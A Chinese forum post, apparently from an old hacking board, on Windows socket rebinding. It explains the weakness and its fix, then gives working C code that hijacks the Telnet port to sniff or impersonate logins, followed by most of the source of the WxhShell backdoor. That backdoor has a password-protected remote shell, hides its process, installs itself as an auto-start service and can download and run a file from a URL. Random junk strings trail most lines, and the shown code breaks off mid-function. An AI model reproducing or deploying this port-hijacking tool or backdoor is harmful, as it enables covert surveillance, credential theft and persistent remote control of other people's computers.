社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10505阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |xoF49  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hSGb-$~F  
Og%U  
  saddr.sin_family = AF_INET; fn CItK~y  
<e%F^#y_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J!ntXF  
f&4,?E;6%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Lz DI0a.  
L5IbExjV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \uG`|D n  
uE=$p)  
  这意味着什么?意味着可以进行如下的攻击: >\<*4J$PZ  
}]UB;id'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 : t$l.+B  
U"f ??y%)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fQnwy!-\  
sP'0Sl~NU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1\L[i];L8  
(x;g/!:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  mgZf3?,)  
1x~U*vbhQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zVv04_:  
wzjU,Mw e  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /cFzotr"9  
Fk=}iB#(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Hqz?E@bc@  
uqyB5V0gh  
  #include d h^^G^  
  #include iO1nwl !#  
  #include aH_6s4+:  
  #include    hbOnlj4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +~sd"v6  
  int main() I-NN29Sk  
  { V+wH?H=  
  WORD wVersionRequested; E{Pgf8  
  DWORD ret; ]7AX%EG3  
  WSADATA wsaData; lz | 64J  
  BOOL val; }iBC@`mg(  
  SOCKADDR_IN saddr; c:M$m3Cs?  
  SOCKADDR_IN scaddr; 02JL*  
  int err; vOI[Z0Lq9h  
  SOCKET s; N?4q  
  SOCKET sc; RAs0]K  
  int caddsize; C.!_]Pxs  
  HANDLE mt; ALd;$fd qf  
  DWORD tid;   Fs/?  
  wVersionRequested = MAKEWORD( 2, 2 ); oh#N 0 0X  
  err = WSAStartup( wVersionRequested, &wsaData ); &ogt2<1W  
  if ( err != 0 ) { ]"fsW 9s  
  printf("error!WSAStartup failed!\n"); gd@p|PsS^  
  return -1; |`yZIY_  
  } |f2A89  
  saddr.sin_family = AF_INET; YJ7V`N p  
   !$XHQLqF2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dpN@#w  
}b["Jk\2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qW^vz  
  saddr.sin_port = htons(23); cX2^wu  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Vs 0 SXj  
  { ":?T%v>  
  printf("error!socket failed!\n"); \ SCy$,m  
  return -1; farDaS[\VY  
  } ://U^sFL  
  val = TRUE; u~ F ;x Q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e5v`;(^M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q<=: >?  
  { 6DSH`-;  
  printf("error!setsockopt failed!\n"); {6vEEU  
  return -1; |@VF.)_  
  } bNzqls$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }3/~x  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vrl[BPI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *ftC_v@p5  
]Nk!4"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) s'a=_cN  
  { q{4|Kpx@  
  ret=GetLastError(); fJ80tt?r  
  printf("error!bind failed!\n"); +`| *s3M  
  return -1; :9d\Uj,  
  } ZKbDp~  
  listen(s,2); Db03Nk>#  
  while(1) \ a-CN>  
  { :pKG\A  
  caddsize = sizeof(scaddr); o#i ]"  
  //接受连接请求 j^u[F"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |DG@ht  
  if(sc!=INVALID_SOCKET) +/'<z  
  { )q?$p9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z)L}ECZh9  
  if(mt==NULL) Q2'eQ0W{ o  
  { M StX*Zw  
  printf("Thread Creat Failed!\n"); 7|D|4!i2Y  
  break; L-'k7?%(  
  } sB*o)8  
  } MR9/Y:Nm  
  CloseHandle(mt); x6yW:tUG5  
  } hFb fNB3  
  closesocket(s); Z(!pYhLq  
  WSACleanup(); )@ PnTpL*  
  return 0; 0g(6r-2)7  
  }   !QC<n/  
  DWORD WINAPI ClientThread(LPVOID lpParam) u35q,u=I  
  { 3B18dv,V  
  SOCKET ss = (SOCKET)lpParam; [QEwK|!L  
  SOCKET sc; EnCU4CU`  
  unsigned char buf[4096]; t3F?>G#y  
  SOCKADDR_IN saddr; CI^|k/  
  long num; B\<ydN  
  DWORD val; a?<?5   
  DWORD ret; |_pl;&;:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;~tsF.=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xUj2 ]Q>R+  
  saddr.sin_family = AF_INET; pzEABA   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,nE&Me&#J  
  saddr.sin_port = htons(23); j 2}v}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [yd6gH  
  { D9,! %7i  
  printf("error!socket failed!\n"); &:vsc Ol  
  return -1; V<0$xV1b|=  
  } ofwQ:0@  
  val = 100; g,?\~8-c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *wUdC  
  { @l,{x|00  
  ret = GetLastError(); q+/l"&j.  
  return -1; |zMqJ.qu  
  } jU$Y>S>l  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m "]!I~jd  
  { zzf7S%1I  
  ret = GetLastError(); swZpWC  
  return -1; [ -12]3  
  } [h", D5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *)%dXVf  
  { &:8T$U V  
  printf("error!socket connect failed!\n"); GVObz?Z]SB  
  closesocket(sc); &:auB:b  
  closesocket(ss); M.k|bh8  
  return -1; wznn #j  
  } (t74a E pi  
  while(1) 8kbBz  
  { A+2oh3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 TzY!D *%z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6UB6;-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Tf l;7w.(A  
  num = recv(ss,buf,4096,0); 7|~:P $M  
  if(num>0) 3/tJDb5  
  send(sc,buf,num,0); q!2<=:f  
  else if(num==0) ;Uk!jQh  
  break; AQn[*  
  num = recv(sc,buf,4096,0); E4m:1=Nd~]  
  if(num>0) %MNk4UsV  
  send(ss,buf,num,0);  ~^7  
  else if(num==0) ((9YG  
  break; PN9^[X  
  } Ut;'Gk  
  closesocket(ss); Ld~4nc$H8  
  closesocket(sc); pX]21&F  
  return 0 ; 3Q$c'C  
  } \*9Ua/H  
S-P{/;c@  
~h|m&XK+Q  
========================================================== |$Xf;N37t  
6 5"uD7;  
下边附上一个代码,,WXhSHELL R\ q):,  
{c?ymkK  
========================================================== %#4 +!  
4(sttd_  
#include "stdafx.h" ;(`e^IVf  
~9i qD  
#include <stdio.h> 8q*";>*  
#include <string.h> <|Iyt[s  
#include <windows.h> 4]u,x`6C  
#include <winsock2.h> C$ hQN  
#include <winsvc.h> nr<.YeJ  
#include <urlmon.h> M/)B" q  
*s36O F!  
#pragma comment (lib, "Ws2_32.lib") J;HkTT   
#pragma comment (lib, "urlmon.lib") , #Ln/;  
F#^L9  
#define MAX_USER   100 // 最大客户端连接数 M)tv;!eQ  
#define BUF_SOCK   200 // sock buffer Bpas[2gYC  
#define KEY_BUFF   255 // 输入 buffer +yIL[D  
x {vIT- f  
#define REBOOT     0   // 重启 +<B|qcT!  
#define SHUTDOWN   1   // 关机 /[L)tj7B  
$ %;jk  
#define DEF_PORT   5000 // 监听端口 Wa{%0inZ  
 mc~`  
#define REG_LEN     16   // 注册表键长度 s/PhXf\MN  
#define SVC_LEN     80   // NT服务名长度 fT x4vlI4  
K /8qB~J*  
// 从dll定义API J2=*-O:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /6smVz@O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GM77Z.Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q.>/*8R;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5d(qtFH1  
^Bn1;  
// wxhshell配置信息 =lm nzu<  
struct WSCFG { ktWZBQY  
  int ws_port;         // 监听端口 PMsC*U,oe  
  char ws_passstr[REG_LEN]; // 口令 "bi  !=  
  int ws_autoins;       // 安装标记, 1=yes 0=no :Ip~)n9t  
  char ws_regname[REG_LEN]; // 注册表键名 b+_hI)T  
  char ws_svcname[REG_LEN]; // 服务名 YVJ+' A=|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uYY=~o[ Tw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M(NH9EE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `TkbF9N+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h\2}875  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p^Agh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @,GjeF]!  
}oV3EIH  
}; WySNL#>a  
iW":DOdi_  
// default Wxhshell configuration ,Z?m`cx  
struct WSCFG wscfg={DEF_PORT, s ?5 d  
    "xuhuanlingzhe", nc- Qz  
    1, a\>+=mua  
    "Wxhshell", l-Fmn/V  
    "Wxhshell", m_(E(_  
            "WxhShell Service", M;V&KG Z  
    "Wrsky Windows CmdShell Service", aDXpkG0E  
    "Please Input Your Password: ", i{P%{hVb  
  1, kO jEY  
  "http://www.wrsky.com/wxhshell.exe", +fPNen4E  
  "Wxhshell.exe" ` v>/  
    }; eC.w?(RB  
i>WOYI9  
// 消息定义模块 \N6<BS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J/L)3y   
char *msg_ws_prompt="\n\r? for help\n\r#>"; U>bP}[&S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g&q^.7c}  
char *msg_ws_ext="\n\rExit."; 8b{U tT  
char *msg_ws_end="\n\rQuit."; f8R+7Ykx  
char *msg_ws_boot="\n\rReboot..."; sN;(/O  
char *msg_ws_poff="\n\rShutdown..."; FF8WTuzB+  
char *msg_ws_down="\n\rSave to "; ?{?Vy9'B  
d8D yv#gT  
char *msg_ws_err="\n\rErr!"; /(y4V  
char *msg_ws_ok="\n\rOK!"; _d/GdeLs  
8 H,_vf  
char ExeFile[MAX_PATH]; 2V 4`s'  
int nUser = 0; *>G ^!e.u  
HANDLE handles[MAX_USER]; *m iONc  
int OsIsNt; Pu1GCr(  
>y&[BB7S6  
SERVICE_STATUS       serviceStatus; bJANZn|H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5 Xk~,%-C  
#j\*Lc"Ur:  
// 函数声明 mf+K{y,L  
int Install(void); `CPZPp,l6`  
int Uninstall(void); s z;=mMr/Z  
int DownloadFile(char *sURL, SOCKET wsh); bb*c+XN0  
int Boot(int flag); hT\p)w  
void HideProc(void); zwKg  
int GetOsVer(void); t>XZ 3  
int Wxhshell(SOCKET wsl);  fF\*v  
void TalkWithClient(void *cs); )J{.Cx<E  
int CmdShell(SOCKET sock); 58qaA\iw  
int StartFromService(void); o-L|"3 P  
int StartWxhshell(LPSTR lpCmdLine); \MfR #k0  
"tqS|ok.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); unx;m$-c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3S;>ki4(0  
muW`pm  
// 数据结构和表定义 E=$7ieW  
SERVICE_TABLE_ENTRY DispatchTable[] = 8[vl3C  
{ I:r($m  
{wscfg.ws_svcname, NTServiceMain}, Bidqf7v  
{NULL, NULL} 6(\q< fx  
}; q] 2}UuM|U  
"K9vm^xP  
// 自我安装 UDhwnGTq(l  
int Install(void) _HSTiJVr  
{ FRb&@(;  
  char svExeFile[MAX_PATH]; mMel,iK=  
  HKEY key; $_4oN(WSz  
  strcpy(svExeFile,ExeFile); \Sz4Gr0g3Z  
V 22q*/iV  
// 如果是win9x系统,修改注册表设为自启动 Uh<H*o6e 9  
if(!OsIsNt) { aa%Yk"V @  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U@1#!ZZ6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qpluk!  
  RegCloseKey(key); 46QYXmNQ}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J[I"/sdk-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,ivWVsN*]  
  RegCloseKey(key); t't^E,E .@  
  return 0; ~ nLkn#Z  
    } 8 /:X& &  
  } mBYS"[S(  
} JS<e`#c&  
else { : OS mr  
Dx9$H++6$X  
// 如果是NT以上系统,安装为系统服务 | 7t=\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,Y78Q  
if (schSCManager!=0) ' [7C~r{%  
{ iKR8^sj7S  
  SC_HANDLE schService = CreateService g_-?h&W  
  ( H24ate?t,  
  schSCManager, fRca"vV  
  wscfg.ws_svcname, Oc^6u  
  wscfg.ws_svcdisp, Rx@%cuP*  
  SERVICE_ALL_ACCESS, e<: 4czh8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xCmI7$uQ#  
  SERVICE_AUTO_START, ')Dp%"\?  
  SERVICE_ERROR_NORMAL, s!nSE  
  svExeFile, F$"MFdc[  
  NULL, '<*CD_2t-  
  NULL, GN~[xXJU  
  NULL,  0jip::x  
  NULL, Q"l"p:n%n  
  NULL //`cwnjp  
  ); RE(=! 8lGR  
  if (schService!=0) f4A4  
  { _E x*%Qf.  
  CloseServiceHandle(schService); Q]2sj:  
  CloseServiceHandle(schSCManager); hi4h0\L!}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *Bb|N--jI  
  strcat(svExeFile,wscfg.ws_svcname); dA_V:HP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \E ? iw.}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C7XS6Nqu  
  RegCloseKey(key); (}/.4xE  
  return 0; R-2FNl  
    } aHVdClD2o  
  } hPEp0("  
  CloseServiceHandle(schSCManager); <IHFD^3|j  
} i+qLc6|S=2  
} 1DI"LIL  
R9|2&pfm(M  
return 1; 3_R   
} c:`` Y:  
B~ 'VDOG$Z  
// 自我卸载 yP1Y3Tga=  
int Uninstall(void) xqi*N13  
{ ]IbPWBX  
  HKEY key; r=iMo7q  
~_# Y,)S!z  
if(!OsIsNt) { d =B@EyN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J;Z>fAE7  
  RegDeleteValue(key,wscfg.ws_regname); {YO%JTQ  
  RegCloseKey(key); p'uqh e X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t^bdi}[  
  RegDeleteValue(key,wscfg.ws_regname); S,)|~#5x  
  RegCloseKey(key); GWA!Ab'<U  
  return 0; mv9E{m  
  } !txELA~24  
} N.Wdi  
} Ndug9j\2  
else { I[cV"BDa  
nDoiG#N0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HqnKpZ  
if (schSCManager!=0) F`ZIc7(.{  
{ #?b^B~ #  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '%]@a7w  
  if (schService!=0) 8KL_PwRX_f  
  { +{=_|3(  
  if(DeleteService(schService)!=0) { \+evZ{Pu  
  CloseServiceHandle(schService); y}:)cA~o(y  
  CloseServiceHandle(schSCManager); H2FFw-xW  
  return 0; EZwdx  
  } f2w=ln  
  CloseServiceHandle(schService); C^\*|=*\  
  } X gx2  
  CloseServiceHandle(schSCManager); ~y-vKCp|  
} y T1Qep  
} /i~^LITH  
lu@>?,<  
return 1; SJ WP8+  
} 'Kso@St`o  
E23 Yk?"  
// 从指定url下载文件 4W//Oc@e  
int DownloadFile(char *sURL, SOCKET wsh) \w0b"p  
{ wMPw/a;  
  HRESULT hr; X\$W'^np  
char seps[]= "/"; ;KZtW  
char *token; fO|~Oz<S  
char *file; 0@FM^ejA#  
char myURL[MAX_PATH]; e ka@?`  
char myFILE[MAX_PATH]; :?:j$ =nWN  
,O&PLr8cJ?  
strcpy(myURL,sURL); ^ yukn*L  
  token=strtok(myURL,seps); a+>W  
  while(token!=NULL) ?:''VM.  
  { mP$G9R  
    file=token; Jr>S/]"  
  token=strtok(NULL,seps); Vw;ldEdx  
  } |C)UZ4A/p  
PqJ*   
GetCurrentDirectory(MAX_PATH,myFILE); =[)N6XV3  
strcat(myFILE, "\\"); y!6:  
strcat(myFILE, file); ,M/#Q6P0}  
  send(wsh,myFILE,strlen(myFILE),0); va/4q+1GfH  
send(wsh,"...",3,0); MkNURy>n&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j'40>Ct=i  
  if(hr==S_OK) <Ec)m69P  
return 0; Va |9)m  
else kW2nrkF  
return 1; +S5_J&~  
r(in]7  
} ]20 "la5  
>pH775I=  
// 系统电源模块 tId !C  
int Boot(int flag) `TlUJ]d)  
{ 0i Z9a/v  
  HANDLE hToken; "O*W]e  
  TOKEN_PRIVILEGES tkp; ATmqq)\s  
h^_taAdS`  
  if(OsIsNt) { k]/6/s\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |Q)w3\S$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t-4 R7`A<  
    tkp.PrivilegeCount = 1; f~"V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cJWfLD>2_!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .iN*V|n  
if(flag==REBOOT) { `i)ePiE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?5YmE(v7  
  return 0; Oc/_ T>  
} }B '*8^S  
else { Qhr]eu;z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d,rEEc Y  
  return 0; *JC{G^|Y  
} nC!^,c  
  } @Rb1)$~#  
  else { ,8o*!(uO2  
if(flag==REBOOT) { :6k DUFj}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !4,xQ ^   
  return 0; )(!Z90@  
} 7CL@i L Tq  
else { AUjTcu>i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YG1`%,OW`  
  return 0; aLk2#1$g  
} 1gy}E=noP  
} cYwC,\ uF  
gL}Y5U+s  
return 1; >fj$ wOq  
} &|\}\+0Z  
Vv)E41  
// win9x进程隐藏模块 [O+^eE6h  
void HideProc(void) S@G{|.)2  
{ U8$dG)PhA  
k mr 4cU5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PM<LR?PLc  
  if ( hKernel != NULL ) U4L=3T+:[  
  { V1#aDfiW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ecZOX$'5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ww tQ>'R"  
    FreeLibrary(hKernel); XhD fI &  
  } *n_4Rr  
8Gg/M%wq9U  
return; G{Enh<V  
} DD$P r&~=  
Ru')X{]25  
// 获取操作系统版本 )zt4'b\)v  
int GetOsVer(void) RrpF i'R  
{ "sx&8H"  
  OSVERSIONINFO winfo; 9w<Bm"G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1HWJxV"  
  GetVersionEx(&winfo); j4SG A#;v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UR2)e{RXg  
  return 1; A^@<+?  
  else L.:QI<n  
  return 0; _%TeTNY#  
} !gew;Jz  
/ lM~K:  
// 客户端句柄模块 (<JDD]J  
int Wxhshell(SOCKET wsl) dsZ ( D:)  
{ sK/"  
  SOCKET wsh; i6:yNb ='  
  struct sockaddr_in client; <a[8;YQC  
  DWORD myID; XK-x*|  
6%INNIyAWa  
  while(nUser<MAX_USER) }Q^a.`h  
{ *>$)#?t  
  int nSize=sizeof(client); &p4<@k\L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AX RNV  
  if(wsh==INVALID_SOCKET) return 1; }/r%~cZ  
U*:'/.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eniR}  
if(handles[nUser]==0) AR6vc  
  closesocket(wsh); p}7&x[fTLk  
else P}QbxkS 8  
  nUser++; 9ufs6 z  
  } h:sG23@=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r K)  
pP,bW~rk  
  return 0; HYmUxheN2  
} `#8R+c=$  
OT3;qT*fw  
// 关闭 socket M #&L@fg!  
void CloseIt(SOCKET wsh) c!^}!32j)  
{ \o)4m[oF  
closesocket(wsh); mM{v>Em2K#  
nUser--; ~Fb?h%w  
ExitThread(0); ;O|63  
} 2B dr#qr  
xF|*N<9(</  
// 客户端请求句柄 .LR>&N_U  
void TalkWithClient(void *cs) I'b]s~u  
{ ymX,k|lh  
wR$8drn]Rq  
  SOCKET wsh=(SOCKET)cs; Ka\b_P&  
  char pwd[SVC_LEN]; u*N8s[s'  
  char cmd[KEY_BUFF]; !z 5d+ M  
char chr[1]; S5a<L_  
int i,j; qDd/wR,44  
/mu4J|[[  
  while (nUser < MAX_USER) { E2kRt'~N  
G@!9)v]9  
if(wscfg.ws_passstr) { 1^^D :tt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q 9<_:3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JHH&@Cn  
  //ZeroMemory(pwd,KEY_BUFF); T=dvc}  
      i=0; 1u+ (rVQN  
  while(i<SVC_LEN) { fGWK&nONyk  
T["(YFCByg  
  // 设置超时 7!nAWlQ&-E  
  fd_set FdRead; Hvo27THLo  
  struct timeval TimeOut; Y{tuaBzD  
  FD_ZERO(&FdRead); /y|r iW  
  FD_SET(wsh,&FdRead); ~GYtU9s5  
  TimeOut.tv_sec=8; 53 05N!  
  TimeOut.tv_usec=0; ITlkw~'G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YH9] T,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }8#Czo jt  
w/6@R 4)p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hAyPaS#  
  pwd=chr[0]; lIP<`6=4  
  if(chr[0]==0xd || chr[0]==0xa) { IuW10}"9  
  pwd=0; (SA*9%  
  break; L]<4{8H.  
  } x's-UO"^  
  i++; UdJV;T'rm  
    } |h/2'zd^-  
,0~TvJS  
  // 如果是非法用户,关闭 socket SH|$Dg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /z:K#  
} kq0m^`  
%WN2 xCSf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c%.& F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nB0 ol-<  
qG]PUc>j  
while(1) { We?:DM [  
1tpD|  
  ZeroMemory(cmd,KEY_BUFF); [Cp{i<C  
y8z%s/gRh  
      // 自动支持客户端 telnet标准   &}1)]6q$  
  j=0; L{p-'V  
  while(j<KEY_BUFF) { ht9b=1wd%s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H]X)@n>  
  cmd[j]=chr[0]; EPy/6-5b  
  if(chr[0]==0xa || chr[0]==0xd) { hGV/P94  
  cmd[j]=0; Q#KjX;No  
  break; `oBzt |f5  
  } <=M}[  
  j++; _s8_i6 Y  
    } ;xwQzu%M>5  
{H2i+"cF  
  // 下载文件 Y\sjm]_  
  if(strstr(cmd,"http://")) { CV"Y40  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HXI}f\6x  
  if(DownloadFile(cmd,wsh)) E:k?*l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 063;D+  
  else cC.DBYV+-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .vMi <U;  
  } CI{x/ e^(  
  else { GNOC5 E$I  
O]lfs >>x  
    switch(cmd[0]) { 8F1!9W7  
  h[T3WE  
  // 帮助 e AjtWqg  
  case '?': { T`sM4 VWqU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9MxGyGz$  
    break; hgGcUpJy?  
  } mGvP9E"&  
  // 安装 4>*`26  
  case 'i': { Vk-_H)*r  
    if(Install()) W:\VFP f2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gzF&7trN  
    else .~J^`/o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^ZG1  
    break; NY x4& *le  
    } t/|^Nt@XT  
  // 卸载 l1WVt}  
  case 'r': { >kYyR.p.b  
    if(Uninstall()) Je,8{J|e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;rgsPVbVf  
    else *en{pR'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9lv 2  
    break; x}d\%* B  
    } rej[G!  
  // 显示 wxhshell 所在路径 s8Oz^5p(  
  case 'p': { #SueT"F  
    char svExeFile[MAX_PATH]; WM26-nR  
    strcpy(svExeFile,"\n\r"); A_%w (7o"  
      strcat(svExeFile,ExeFile); k1J}9HNYR  
        send(wsh,svExeFile,strlen(svExeFile),0); / yCV-L2J  
    break; 1zRO== b  
    } ] ?(=rm9u  
  // 重启 }g?]B+0  
  case 'b': { X6RM2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); . {I7sUQ  
    if(Boot(REBOOT)) =%LS9e^7D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Y/_/t~Y  
    else { qM+T Wp  
    closesocket(wsh); 8@-US , |  
    ExitThread(0); A7H=#L+C  
    } R 9(^CWs  
    break; OK=t)6&b  
    } GF&"nW9A  
